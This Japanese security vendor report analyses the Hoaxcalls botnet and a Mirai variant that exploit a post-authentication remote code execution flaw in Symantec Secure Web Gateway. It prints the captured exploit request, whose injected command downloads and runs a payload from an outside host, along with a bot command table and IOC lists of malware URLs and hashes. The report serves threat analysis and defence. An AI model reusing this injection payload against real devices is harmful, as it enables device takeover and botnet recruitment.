This post is also available in: English (英語)
概要
パロアルトネットワークス脅威インテリジェンス調査チームUnit 42はインターネット上の脅威を積極的に監視しています。この取り組みの一環として、最近筆者はSymantec Secure Web Gateway 5.0.2.8の認証後リモートコード実行の脆弱性を狙う新たなHoaxcallsボットネット、Miraiボットの攻撃ネットキャンペーンを確認しました。同製品は2015年にライフサイクルを終了(End-of-Life: EOL)、その後2019年にサポートを終了(End-of-Support-Life: EOSL)しています。本稿執筆時点でこれ以外のファームウェア バージョンが脆弱であることを示す証拠は確認されていません。なお本稿の内容はSymantec(Broadcom)と共有済みです。また、現在インターネット上で実際に悪用が確認されている本脆弱性は、Symantec Web Gateway 5.2.8にはすでに存在していないことが同社により確認されています。同社は「本脆弱性がProxySGやWeb Security ServicesなどのSecure Web Gatewayソリューションに影響を与えることはないという点を強調したい」としています。
本脆弱性を悪用するHoaxcallsボットネット インスタンスの初認日は2020年4月24日でした。このインスタンスは同ボットネットの進化を調査するなかで浮上してきたもので、Hoaxcallsボットネット自体の初認は同月初めでした。この最新バージョンのHoaxcallsは、コマンドを追加サポートして攻撃者が感染デバイスをより強力にコントロールできるようにしています。たとえば、Hoaxcallsを経由したトラフィックのプロキシ、更新のダウンロード、デバイス再起動をはさんでの永続性維持、再起動防止、開始可能なDDoS攻撃数の増加などです。実際のエクスプロイトは、同脆弱性の詳細公開数日後には確認されていました。このことは、同ボットネットの作者が新しいエクスプロイトが公開されるたび有効性検証をかなり積極的に行っているという事実を裏付けています。
なお5月の初週、筆者は同エクスプロイトを利用するMirai亜種の攻撃キャンペーンも確認しましたが、このキャンペーンではサンプル自体にはDDoS機能が含まれておらず、かわりに資格情報のブルートフォースとSymantec Secure Web Gatewayのリモートコード実行脆弱性を悪用することで感染を広げる役割を担っていました。 本稿では、これら2つの攻撃キャンペーンに関し、特筆すべきと思われる技術的詳細を解説します。
なお、パロアルトネットワークス製品をご利用中のお客様はこの攻撃から保護されています。WildFireはすべての関連サンプルを悪意のあるものとして正しく識別し、脅威防御はこの亜種によって使用されるすべてのエクスプロイトをブロックします。さらに、AutoFocusをご利用中のお客様は、次のタグで同エクスプロイトを追跡できます: SymantecWebGateway_RCE
Hoaxcallsの進化
Bashlite/Gafgytマルウェア ファミリから派生したHoaxcallsボットネットは、2020年4月に最初に発見されました。同ボットネットは、Grandstreamのビジネス電話IP PBXシステムの特定のモデルについて最近公開された脆弱性と、Draytek Vigorルータの脆弱性を悪用しています。
その数週間後、同ボットネットは未修正のZyxel Cloud CNM SecuManager製品の脆弱性も不正利用していることが判明しました。
4月24日に筆者は同ボットネットのサンプルがEOLにいたったSymantec Secure Web Gateway 5.0.2.8 を対象とするエクスプロイトを組み込んだことを確認しました。これには次のフォーマットのHTTPリクエストが使われていました。
POST /spywall/timeConfig.php HTTP/1.1
User-Agent: XTC
posttime=1585228657&saveForm=Save×ync=1&ntpserver=http://qweqwe.com;$(wget%20http://plexle.us/Th5xrRAm%20-O%20/tmp/viktor%20&&%20chmod%20777%20/tmp/viktor%20&&%20/tmp/viktor);#&timezone=5
上記スニペットが示すとおり、サンプルのなかには公開ファイル アップロード サービスのURL(plexle[.]us)にアクセスするものがあります。この場所にはエクスプロイト後のペイロードがホスティングされています。
侵害の指標(IOC)をまとめた一覧と同アクティビティのタイムラインについては本稿巻末をご参照ください。
Hoaxcallsボットネットの新バージョンは、まったく同じキー、同じ暗号化スキームを使用するという点では初期バージョンとよく似ています。ただし新バージョンでは、コマンドを追加でサポートし、攻撃者が感染デバイスをより強力にコントロールできるようになっています。たとえば、Hoaxcallsを経由したトラフィックのプロキシ、更新のダウンロード、デバイス再起動をはさんでの永続性維持、再起動防止、開始可能なDDoS攻撃数の増加などです。こうした機能について以下詳述します。
フラッダ コマンド | 説明 |
SYMANTEC | 先にのべたリモートコード実行脆弱性を使用しSymantec Secure Web Gatewayデバイスをスキャン・感染させる |
FASTFLUX | デバイスから攻撃者の指定するアドレスへトラフィックをプロキシする |
UNINSTALL | 実行中のマルウェア プロセスを強制終了する |
KILLTELNET | デバイスのtelnetサービスを強制終了する(おそらくは感染デバイスの管理者に管理業務を行いづらくさせる目的と思われる) |
LOCKDEVICE | cronジョブを設定してバイナリの実行状況を確認、デバイス再起動後も永続性を維持する |
UPDATE | 既存ボットバイナリを削除しwgetないしtftpで164[.]132.92.180/shから更新をダウンロードする(同更新用URLは下図1に示すスクリプトを提供) |
MOVE | IRCサーバーを切り替える |
IOCTL | 再起動を防ぐためwatchdogタイマを無効にする |
HTTPCONN | 指定したターゲットへのHTTP CONNECTIONリクエスト フラッドを開始する |
HTTPOPTIONS | 指定したターゲットへのHTTP OPTIONSリクエスト フラッドを開始する |
HTTPTRACE | 指定したターゲットへのHTTP TRACEリクエスト フラッドを開始する |
HTTPDELETE | 指定したターゲットへのHTTP DELETE リクエスト フラッドを開始する |
HTTPPUT | 指定したターゲットへのHTTP PUTリクエスト フラッドを開始する |
HTTPPOST | 指定したターゲットへのHTTP POSTリクエスト フラッドを開始する |
HTTPHEAD | 指定したターゲットへのHTTP HEADリクエスト フラッドを開始する |
HTTPGET | 指定したターゲットへのHTTP GETリクエスト フラッドを開始する |
URG | 指定されたターゲットへのURGフラッドを開始する |
PSH | 指定されたターゲットへのPSHフラッドを開始する |
ACK | 指定されたターゲットへのACKフラッドを開始する |
FIN | 指定されたターゲットへのFINフラッドを開始する |
RST | 指定されたターゲットへのRSTフラッドを開始する |
SYN | 指定されたターゲットへのSYNフラッドを開始する |
TCP | 指定されたターゲットへのTCPフラッドを開始する |
VSE | 指定されたターゲットへのVSERGフラッドを開始する |
表1 新しいフラッダ コマンド
更新取得のためにアクセスするURLにはシェルスクリプトが提供されており、このスクリプトで攻撃者の制御下にあるURLからバイナリをダウンロード・実行するようになっています。
Mirai亜種
もうひとつのMirai亜種による攻撃キャンペーン サンプルは5月上旬に確認されました。こちらのサンプルはMiraiのソースコードをベースにビルドされており、UPXアルゴリズムに、それぞれに異なる4バイト長のキーを4つ使うUPXの修正版を使ってパックされていました。
Miraiのソースコードとのもう1つの相違点は、バイト単位の文字列暗号化スキームに、累積的に利用する8バイトキーを10個すべて使用していた点です:
0xDEADBEEF、0x85DAB8BF、0xDEEDEEBF、0xDEABBEAF、0xDBBD45BF、0x246584EF、0x85BFE8BF, 0xD68395BF、0xDBAAAAAF、0x0DAABEEF
これはHoaxcallsボットネットのスキームによく似ていますし、Miraiの以前の亜種でもこれと同様のスキームを使う様子が観測されています 。ただし、以前の実装からも明らかなとおり、複数のキーを使用したからといってそのぶん暗号複雑度が高まるわけではありません。今回の場合、基本的にはバイト単位で0x5aとXOR暗号化するのと同等の結果となります。
この攻撃キャンペーンでは、サンプル自体にDDoS機能は含まれておらず、かわりに資格情報のブルートフォースとSymantec Secure Web Gatewayのリモートコード実行脆弱性を悪用することで感染を広げる役割を担っています。
エクスプロイトの成功に関する予測
本ボットネットのエクスプロイト・感染の成功については次の2つの事実から限定的なものとなりそうです。この点は言及する価値があるでしょう。
- 今回エクスプロイトの対象となったSymantec Secure Web Gatewayのリモートコード実行脆弱性は、認証後の脆弱性です。つまり、エクスプロイトはすでに認証済みのセッションでのみ有効ということになります。
- 対象となるデバイスが2012年にはすでにライフサイクルを終了している製品です。つまり新しいファームウェアを使用したインストールベースには影響しないということになります。
結論
今回はどちらのキャンペーンについても、Symantec Secure Web Gateway リモートコード実行脆弱性が認証後のものであるという性質上、エクスプロイトの成功が限定的になることが予測されます。
パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。
- WildFireは本稿に記載したすべてのサンプルを検出し「Malicious(悪意のある)」ものと判定します
- 脅威防御は本亜種によって使用されるすべてのエクスプロイトをブロックします
本エクスプロイトは次のAutoFocusタグで追跡できます: SymantecWebGateway_RCE
パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org
IoC
初出 | SHA256値 | URL |
2020-05-07 | 1cec4576595048a179bf8c21b58f33ef61ae1825b2b3f0a86915a741a04f253f | 45[.]95.168.250/swrgiuhguhwrguiwetu/arm |
2020-05-07 | a31187ed8545789ff2979037e19e1ca18d35a75820a1ec91053782f30c47ecc5 | 45[.]95.168.250/swrgiuhguhwrguiwetu/arm5 |
2020-05-07 | ef5d39a3fa641b4d55d870437a9ba774eefcfa2c69066dd0a6fbe513a4b7a8f2 | 45[.]95.168.250/swrgiuhguhwrguiwetu/arm6 |
2020-05-07 | 04e8356bdc8782cf03acc9f69ff6fa9dfde7378dcd1fe0dc737d13fd4d7e061e | 45[.]95.168.250/swrgiuhguhwrguiwetu/arm7 |
2020-05-07 | 60f755288c9d3110d2fe5d872b2c045156dcea4be9a5cc918bddf1e786881842 | 45[.]95.168.250/swrgiuhguhwrguiwetu/m68k |
2020-05-07 | 0e531e105aa3419cd19e95fa9d44f6176157002a09444a1e5465657d743180ac | 45[.]95.168.250/swrgiuhguhwrguiwetu/mips |
2020-05-07 | 02dc186a39607475838bb4859f89e7a200f74fed41400ab5db4eb42d3f58f772 | 45[.]95.168.250/swrgiuhguhwrguiwetu/mpsl |
2020-05-07 | 72675ccf2d4e0d0aac2f5121a6a80ea1efc4f30b22e64b07bd891438de2bf82a | 45[.]95.168.250/swrgiuhguhwrguiwetu/ppc |
2020-05-07 | 0a48cc158a07e13bd76ac941c4523692530f836d69256b02a10052248263d781 | 45[.]95.168.250/swrgiuhguhwrguiwetu/sh4 |
2020-05-07 | 37dfde696632295e806924de3d3ab751404e2a968e063a12ce72eb2e3ce0b984 | 45[.]95.168.250/swrgiuhguhwrguiwetu/x86 |
2020-05-02 | da84fd43cb8701c4e23dd0a4175ebccebda026ca2f47b7b1bad393205075389f | 164[.]132.92.180/arm4 |
2020-05-02 | 287645a5a29a39ef94aa0cdebdbd3cb4ad2a45ead8894fc323a5a2a76a7fdb0d | 164[.]132.92.180/arm5 |
2020-05-02 | 4a4316178e85e0d4c94d74af9f2258c045194cf7a4f4a83a90abf5db09fbaa04 | 164[.]132.92.180/i586 |
2020-05-02 | 38290965b2cd8048b3ef076487b99dfbeef457f6f6f9998b95ff922e160a5113 | 164[.]132.92.180/i486 |
2020-05-02 | 25d1c51135dca20f4f7a720f237d9186edde2a2a664ede6bef37e843e7be409c | 164[.]132.92.180/i686 |
2020-05-02 | 012d49c6e847f2f75983b46a9a1310dac29b5f8d30b665ae2124d8619b80753b | 164[.]132.92.180/m68k |
2020-05-02 | 763dfa5f391d27e65be6682c2e58c888df309fa2732781db312f5c9b10e6d5a1 | 164[.]132.92.180/mips |
2020-05-02 | ad1156e6ad91b02f225d82d96000cf9abf671a305e8c5c61229d69dbed5050ba | 164[.]132.92.180/mips64 |
2020-05-02 | 28f31eb4b1fd3b7e742f5043a26b383585317d16bbfdae0296e18b90dcbec29b | 164[.]132.92.180/ppc440 |
2020-05-02 | 5d8756118b7e017eb4f4c5da4236191b20a5c8cb96abb76c26f0e918a76bd973 | 164[.]132.92.180/mpsl |
2020-05-02 | 1f64287ae9ea968017b3615f2b5b51932d7eeb3f0ee6621f74ae29af8f1a27d5 | 164[.]132.92.180/sh4 |
2020-05-02 | 65a8ea32f77c2d18325d49d0cc32a4bbf893a2f106e77e8a8670191c71b456a9 | 164[.]132.92.180/spc |
2020-05-02 | 2b0854d40d8ffdca886f4540156b7addc4245de5df197e39ce198b9cf098944a | 164[.]132.92.180/arm6 |
2020-05-02 | 43ce5e4fb95b57fa2921d718e989107a594d5287b5bbbcb3e9bff262a982e815 | 164[.]132.92.180/ppc |
2020-05-02 | 3d6be7b9bd4798000230e354a5777601ca6672c8d84af842469ddeb1681ed7f2 | 164[.]132.92.180/arm7 |
2020-05-02 | e0141934100df75d6b0c61858fc4cc44f97ce2a2588aa5d042f965f9542b843b | 164[.]132.92.180/x86 |
2020-05-01 | 85f397e052950f736b32f0463dce7a1458ed034bec57284ea83d2ee4788f8a82 | 164[.]132.92.180/x86 |
2020-05-01 | b39763036951bb373e1389362c4de6c4cbd3af3757dbb66d53fceb69de02677f | 164[.]132.92.180/arm7 |
2020-05-01 | 6d76fd0bb5ba2d1c19f64288bb4b20eb136171aa8ea1afb685d2e363911aab2f | 164[.]132.92.180/arm6 |
2020-05-01 | 5415ce3e759bcc3a8a163a84b64a7185f6540d4ec0ff07627ac770fd0ef0244d | 164[.]132.92.180/arm5 |
2020-05-01 | b52f8ff49e172a3e41ec60010c4089e3534ad1f0582a7ee04c4aa58c34db21ca | 164[.]132.92.180/arm4 |
2020-05-01 | e248445c39cac693fc2a921e41879fb80286f418c352d7a9d428d6181fe113a3 | 164[.]132.92.180/mpsl |
2020-05-01 | a3e2d3536d3facd3d825949addd7e99152b5df395b26e41e04b16be0a8cf4d85 | 164[.]132.92.180/mips |
2020-04-27 | 82e5e0f6c130a3f0424cf33468f5ec7a3a66d14f5d346196d1b604ecd2b1e6a3 | 164[.]132.92.180/x86 |
2020-04-27 | fa1bc69c9eccaaa4b8131856f9e69837f10dfa1236a65e0a8954d297c2a465bd | 164[.]132.92.180/arm4 |
2020-04-26 | 233d4f6ee9f0ffb52b88de0218a0a4b04e3b20c5440e6414255d644ef696d190 | |
2020-04-24 | 81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee | plexle[.]us/Th5xrRAm |
2020-04-24 | e15eeeaeb0ac0639bf3491ba8801e30516e085047f2d787397966065bdf9d5e7 | |
2020-04-24 | 5916171938fba2d218de38c8b1f484345bc62d436b7b501ef986ae06c133b13d | |
2020-04-24 | 970496ac754ce7573216950a9904bdfc75574b4c0605e1d62364be799b9c813b | |
2020-04-24 | 735beaa92e7d697a521c7ed5292b3e8100c29a2af88f1a1b99abf0a1bc5ab5c8 | 164[.]132.92.180/i686 |
2020-04-24 | 84e017a59f9f7d7d5fde40bc2867a1e9d6ec6fae63b3e21685b3bb7166357531 | 164[.]132.92.180/arm7 |
2020-04-24 | 81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee | |
2020-04-24 | 9ce642628cec8de80d2186d5d7f020635180326ed9e33cabde46d6c9b2caba1b | |
2020-04-24 | 20c3f1bbf4ae4733c6e01eb4f82a251bcb5b0ae0bd5f1b1a028b7ff65ea779af | |
2020-04-24 | ddab987e986f76fcc36af92a6ea15439dd36253d91c0c3cddd77b2b9fd9ff395 | |
2020-04-24 | 7bca6fcc70d14253803780e80ee57b29814adeae1af993374f919a1017f5b0f5 |